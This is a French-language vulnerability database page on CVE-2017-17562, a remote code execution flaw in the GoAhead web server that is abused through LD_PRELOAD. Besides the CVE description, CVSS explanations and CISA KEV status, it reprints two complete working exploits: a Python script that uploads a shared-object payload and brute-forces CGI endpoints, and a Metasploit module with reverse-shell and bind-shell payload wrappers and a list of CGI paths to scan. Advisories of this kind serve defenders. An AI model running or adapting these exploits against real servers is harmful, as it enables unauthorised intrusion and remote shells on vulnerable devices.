CVE-2017-17562 : Détail

CVE-2017-17562

8.1
/
Haute
97.32%V3
Network
2017-12-12
19h00 +00:00
2025-02-04
20h56 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Embedthis GoAhead before 3.6.5 allows remote code execution if CGI is enabled and a CGI program is dynamically linked. This is a result of initializing the environment of forked CGI scripts using untrusted HTTP request parameters in the cgiHandler function in cgi.c. When combined with the glibc dynamic linker, this behaviour can be abused for remote code execution using special parameter names such as LD_PRELOAD. An attacker can POST their shared object payload in the body of the request, and reference it using /proc/self/fd/0.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE Other No informations.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 8.1 HIGH CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

High

successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Embedthis GoAhead Remote Code Execution Vulnerability

Action requise : Apply updates per vendor instructions.

Connu pour être utilisé dans des campagnes de ransomware : Unknown

Ajouter le : 2021-12-09 23h00 +00:00

Action attendue : 2022-06-09 22h00 +00:00

Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 43360

Date de publication : 2017-12-17 23h00 +00:00
Auteur : Daniel Hodson
EDB Vérifié : Yes

#!/usr/bin/python # GoAhead httpd/2.5 to 3.6.5 LD_PRELOAD remote code execution exploit # EDB Note: Payloads ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43360.zip # EDB Note: Source ~ https://www.elttam.com.au/blog/goahead/ # EDB Note: Source ~ https://github.com/elttam/advisories/blob/c778394dfe454083ebdfb52f660fd3414ee8adb8/CVE-2017-17562/ #+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ #+++++++++++++++++++++++++++++++++++:--/++++++++++++++++++++++++++++++++++++ #+++++++++++++++++++++++++++++++/:-......-:/++++++++++++++++++++++++++++++++ #++++++++++++++++++++++/////::-..............-:://///+++++++++++++++++++++++ #++++++++++++++++++++++..............-:..............+++++++++++++++++++++++ #++++++++++++++++++++++..........-://+++/:-..........+++++++++++++++++++++++ #++++++++++++++++++++++......://++++++++++++//::.....+++++++++++++++++++++++ #++++++++++++++++++++++......++++++++++++++++++/.....+++++++++++++++++++++++ #++++++++++++++++++++++......:/+++++++++++++++/-.....+++++++++++++++++++++++ #++++++++++++++++++++++.........--::////:::--........+++++++++++++++++++++++ #++++++++++++++++++++++-...........................:/+++++++++++++++++++++++ #++++++++++++++++++++++:.....-................--:/++++++++++++++++++++++++++ #+++++++++++++++++++++++-....-+///::::::::///+++++++++++++++++++++++++++++++ #+++++++++++++++++++++++/.....-/++++++++++++++++/::+++++++++++++++++++++++++ #++++++++++++++++++++++++/-.....-/++++++++/:--...-/+++++++++++++++++++++++++ #++++++++++++++++++++++++++:.......:/++/:.......:+++++++++++++++++++++++++++ #+++++++++++++++++++++++++++/-................-/++++++++++++++++++++++++++++ #+++++++++++++++++++++++++++++/:-..........-:/++++++++++++++++++++++++++++++ #++++++++++++++++++++++++++++++++/:--..--:/+++++++++++++++++++++++++++++++++ #++++++++++++++++++++++++++++++++++++++++++++++++(c) 2017 elttam Pty Ltd.+++ # ~/goahead_exploit>>> ./makemyday.py -h # usage: makemyday.py [-h] [--server SERVER] [--port PORT] [--maxconn {1-256}] # [--verbose] # {fingerprint,stage,exploit,findcgi} ... # # GoAhead httpd remote LD_PRELOAD exploit. # # positional arguments: # {fingerprint,stage,exploit,findcgi} # fingerprint fingerprint if GoAhead server uses CGI # stage send a staging payload and wait indefinitely # exploit run exploit # findcgi brute force cgi script names # # optional arguments: # -h, --help show this help message and exit # --server SERVER target ip or hostname, default is localhost # --port PORT target port, default is 80 # --maxconn {1-256} max concurrent requests, default is 1 # --verbose, -v increase verbosity level # # See https://www.elttam.com.au for more information. # >>>./makemyday.py --server 192.168.1.24 --port 80 exploit --payload ./payloads/X86_64-hw.so # exploit works! import argparse import httplib import sys import threading from string import Template class GoAheadExploit(object): '''GoAheadExploit''' qid = None payload = None exploited = False def __init__(self): '''Configure arguments and run the exploit''' parser = argparse.ArgumentParser( description="GoAhead httpd remote LD_PRELOAD exploit.", epilog="See https://www.elttam.com.au for more information." ) parser.add_argument('--server', default="localhost", help='target ip or hostname, default is localhost') parser.add_argument('--port', type=int, default=80, help='target port, defaults is 80') parser.add_argument('--maxconn', type=int, default=1, choices=xrange(1, 256), metavar="{1-256}", help='max concurrent requests, default is 1') parser.add_argument('--verbose', '-v', default=0, action='count', help='increase verbosity level') common_options = argparse.ArgumentParser(add_help=False) common_options.add_argument('--cginame', default="cgitest", help='target cgi script') common_options.add_argument('--payload', nargs='?', type=argparse.FileType('r'), default=sys.stdin, help='shared object file to execute (defaults to stdin)') cmd_subparsers = parser.add_subparsers(dest="action") cmd_subparsers.add_parser( 'fingerprint', help='fingerprint if GoAhead server uses CGI') cmd_subparsers.add_parser('stage', parents=[common_options], help='send a staging payload and wait indefinitely') cmd_subparsers.add_parser('exploit', parents=[common_options], help='run exploit') findcgi = cmd_subparsers.add_parser( 'findcgi', help='brute force cgi script names') findcgi.add_argument('--wordlist', nargs='?', type=argparse.FileType('r'), default=sys.stdin, help='list of cgi filenames to brute force (defaults to stdin)') # parse command line and call into action self.args = parser.parse_args() getattr(self, self.args.action)() def fingerprint(self): '''fingerprint''' conn = httplib.HTTPConnection(self.args.server, self.args.port) conn.connect() conn.request( "GET", "/cgi-bin/c8fed00eb2e87f1cee8e90ebbe870c190ac3848c") if conn.getresponse().read().find("CGI process file does not exist") != -1: print "CGI scripting is enabled" else: print "CGI scripting is disabled" conn.close() def findcgi(self): '''findcgi''' for cginame in self.args.wordlist.readlines(): cginame = cginame[:-1] conn = httplib.HTTPConnection(self.args.server, self.args.port) conn.connect() conn.request("GET", "/cgi-bin/" + cginame) resp = conn.getresponse() if resp.status == 200: print "/cgi-bin/" + cginame + " exists." conn.close() def stage(self): '''stage''' payload = self.args.payload.read() headers = {"Host": self.args.server, "User-Agent": "curl/7.51.0", "Accept": "*/*", "Content-Length": str(len(payload) + 1)} conn = httplib.HTTPConnection(self.args.server, self.args.port) conn.connect() conn.request("POST", "/cgi-bin/" + self.args.cginame, payload, headers) try: conn.getresponse() except httplib.BadStatusLine: pass conn.close() def exploit(self): '''exploit''' for _ in range(0, self.args.maxconn): tid = threading.Thread(self.do_exploit(verify,)) tid.start() def do_exploit(self, verify_callback): '''do_exploit''' if not self.payload: self.payload = self.args.payload.read() contentlen = len(self.payload) headers = {"Host": self.args.server, "User-Agent": "curl/7.51.0", "Accept": "*/*", "Content-Length": str(contentlen)} exploit_string = Template("/cgi-bin/${cginame}?LD_PRELOAD=" "/proc/self/fd/0").substitute({ "cginame": self.args.cginame }) while not self.exploited: conn = httplib.HTTPConnection(self.args.server, self.args.port, timeout=10) conn.connect() conn.request("POST", exploit_string, self.payload, headers) try: if verify_callback(conn.getresponse()): self.exploited = True print "exploit works!" except httplib.BadStatusLine: pass conn.close() # put your payload callback/verification code here def verify(res): '''validation callback''' if res.getheader("hello"): return True return False if __name__ == '__main__': GoAheadExploit()
Exploit Database EDB-ID : 43877

Date de publication : 2018-01-23 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'GoAhead Web Server LD_PRELOAD Arbitrary Module Load', 'Description' => %q{ This module triggers an arbitrary shared library load vulnerability in GoAhead web server versions between 2.5 and that have the CGI module enabled. }, 'Author' => [ 'Daniel Hodson <daniel[at]elttam.com.au>', # Elttam Vulnerability Discovery & Python Exploit 'h00die', # Metasploit Module 'hdm', # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2017-17562' ], [ 'URL', 'https://www.elttam.com.au/blog/goahead/' ] ], 'Payload' => { 'Space' => 5000, 'DisableNops' => true }, 'Platform' => 'linux', 'Targets' => [ [ 'Automatic (Reverse Shell)', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'ReverseStub' => true, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_reverse_stub', 'ConnectionType' => 'reverse', } } } ], [ 'Automatic (Bind Shell)', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'BindStub' => true, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_bind_stub', 'ConnectionType' => 'bind' } } } ], [ 'Automatic (Command)', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ], [ 'Linux x86', { 'Arch' => ARCH_X86 } ], [ 'Linux x86_64', { 'Arch' => ARCH_X64 } ], [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ], [ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ], [ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ], [ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ], [ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ], [ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ], # PowerPC stubs are currently over the 16384 maximum POST size # [ 'Linux PPC', { 'Arch' => ARCH_PPC } ], # [ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ], # [ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ], [ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ], [ 'Linux SPARC64', { 'Arch' => ARCH_SPARC64 } ], [ 'Linux s390x', { 'Arch' => ARCH_ZARCH } ], ], 'DefaultOptions' => { 'SHELL' => '/bin/sh', }, 'Privileged' => false, 'DisclosureDate' => 'Dec 18 2017', # June 9th, technically, via github commit. 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGET_URI', [false, 'The path to a CGI script on the GoAhead server']) ]) end # Setup our mapping of Metasploit architectures to gcc architectures def setup super @@payload_arch_mappings = { ARCH_X86 => [ 'x86' ], ARCH_X64 => [ 'x86_64' ], ARCH_MIPS => [ 'mips' ], ARCH_MIPSLE => [ 'mipsel' ], ARCH_MIPSBE => [ 'mips' ], ARCH_MIPS64 => [ 'mips64' ], ARCH_MIPS64LE => [ 'mips64el' ], # PowerPC stubs are currently over the 16384 maximum POST size # ARCH_PPC => [ 'powerpc' ], # ARCH_PPC64 => [ 'powerpc64' ], # ARCH_PPC64LE => [ 'powerpc64le' ], ARCH_SPARC => [ 'sparc' ], ARCH_SPARC64 => [ 'sparc64' ], ARCH_ARMLE => [ 'armel', 'armhf' ], ARCH_AARCH64 => [ 'aarch64' ], ARCH_ZARCH => [ 's390x' ], } # Architectures we don't offically support but can shell anyways with interact @@payload_arch_bonus = %W{ mips64el sparc64 s390x } # General platforms (OS + C library) @@payload_platforms = %W{ linux-glibc } end # Use fancy payload wrappers to make exploitation a joyously lazy exercise def cycle_possible_payloads template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-17562") template_list = [] template_type = nil template_arch = nil # Handle the generic command types first if target.arch.include?(ARCH_CMD) # Default to a system() template template_type = 'system' # Handle reverse_tcp() templates if target['ReverseStub'] template_type = 'reverse' end # Handle reverse_tcp() templates if target['BindStub'] template_type = 'bind' end all_architectures = @@payload_arch_mappings.values.flatten.uniq # Prioritize the most common architectures first %W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch| template_list << all_architectures.delete(t_arch) end # Queue up the rest for later all_architectures.each do |t_arch| template_list << t_arch end # Handle the specific architecture targets next else template_type = 'shellcode' target.arch.each do |t_name| @@payload_arch_mappings[t_name].each do |t_arch| template_list << t_arch end end end # Remove any duplicates that may have snuck in template_list.uniq! # Cycle through each top-level platform we know about @@payload_platforms.each do |t_plat| # Cycle through each template and yield template_list.each do |t_arch| wrapper_path = ::File.join(template_base, "goahead-cgi-#{template_type}-#{t_plat}-#{t_arch}.so.gz") unless ::File.exist?(wrapper_path) raise RuntimeError.new("Missing executable template at #{wrapper_path}") end data = '' ::File.open(wrapper_path, "rb") do |fd| data = Rex::Text.ungzip(fd.read) end pidx = data.index('PAYLOAD') if pidx data[pidx, payload.encoded.length] = payload.encoded end if %W{reverse bind}.include?(template_type) pidx = data.index("55555") if pidx data[pidx, 5] = datastore['LPORT'].to_s.ljust(5) end end if 'reverse' == template_type pidx = data.index("000.000.000.000") if pidx data[pidx, 15] = datastore['LHOST'].to_s.ljust(15) end end vprint_status("Using payload wrapper 'goahead-cgi-#{template_type}-#{t_arch}'...") yield(data) # Introduce a small delay for the payload to stage Rex.sleep(0.50) # Short-circuit once we have a session return if session_created? end end end # Start the shell train def exploit # Find a valid CGI target target_uri = find_target_cgi return unless target_uri # Create wrappers for each potential architecture cycle_possible_payloads do |wrapped_payload| # Trigger the vulnerability and run the payload trigger_payload(target_uri, wrapped_payload) return if session_created? end end # Determine whether the target is exploitable def check # Find a valid CGI target target_uri = find_target_cgi unless target_uri return Exploit::CheckCode::Unknown end return Exploit::CheckCode::Vulnerable end # Upload and LD_PRELOAD execute the shared library payload def trigger_payload(target_uri, wrapped_payload) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri), 'vars_get' => { 'LD_PRELOAD' => '/proc/self/fd/0' }, 'data' => wrapped_payload }) nil end # Find an exploitable CGI endpoint. These paths were identified by mining Sonar HTTP datasets def find_target_cgi target_uris = [] common_dirs = %W^ / /cgi-bin/ /cgi/ ^ common_exts = ["", ".cgi"] common_cgis = %W^ admin apply non-CA-rev checkCookie check_user chn/liveView cht/liveView cnswebserver config configure/set_link_neg configure/swports_adjust eng/liveView firmware getCheckCode get_status getmac getparam guest/Login home htmlmgr index index/login jscript kvm liveView login login.asp login/login login/login-page login_mgr luci main main-cgi manage/login menu mlogin netbinary nobody/Captcha nobody/VerifyCode normal_userLogin otgw page rulectl service set_new_config sl_webviewer ssi status sysconf systemutil t/out top unauth upload variable wanstatu webcm webmain webproc webscr webviewLogin webviewLogin_m64 webviewer welcome cgitest ^ if datastore['TARGET_URI'].to_s.length > 0 target_uris << datastore['TARGET_URI'] end common_dirs.each do |cgi_dir| common_cgis.each do |cgi_path| common_exts.each do |cgi_ext| target_uris << "#{cgi_dir}#{cgi_path}#{cgi_ext}" end end end print_status("Searching #{target_uris.length} paths for an exploitable CGI endpoint...") target_uris.each do |uri| if is_cgi_exploitable?(uri) print_good("Exploitable CGI located at #{uri}") return uri end end print_error("No valid CGI endpoints identified") return end # Use the output of LD_DEBUG=help to determine whether an endpoint is exploitable def is_cgi_exploitable?(uri) res = send_request_cgi({'uri' => uri, 'method' => 'POST', 'vars_get' => { 'LD_DEBUG' => 'help' }}) if res vprint_status("Request for #{uri} returned #{res.code}: #{res.message}") else vprint_status("Request for #{uri} did not return a response") end !!(res && res.body && res.body.to_s.include?("LD_DEBUG_OUTPUT")) end # This sometimes determines if the CGI module is enabled, but doesn't seem # to return the error to the client in newer versions. Unused for now. def is_cgi_enabled? return true res = send_request_cgi({'uri' => "/cgi-bin"}) !!(res && res.body && res.body.to_s.include?("Missing CGI name")) end end

Products Mentioned

Configuraton 0

Embedthis>>Goahead >> Version To (excluding) 3.6.5

Configuraton 0

Oracle>>Integrated_lights_out_manager >> Version 3.0

    Oracle>>Integrated_lights_out_manager >> Version 4.0

      Références

      http://www.securitytracker.com/id/1040702
      Tags : vdb-entry, x_refsource_SECTRACK
      https://www.exploit-db.com/exploits/43360/
      Tags : exploit, x_refsource_EXPLOIT-DB
      https://www.exploit-db.com/exploits/43877/
      Tags : exploit, x_refsource_EXPLOIT-DB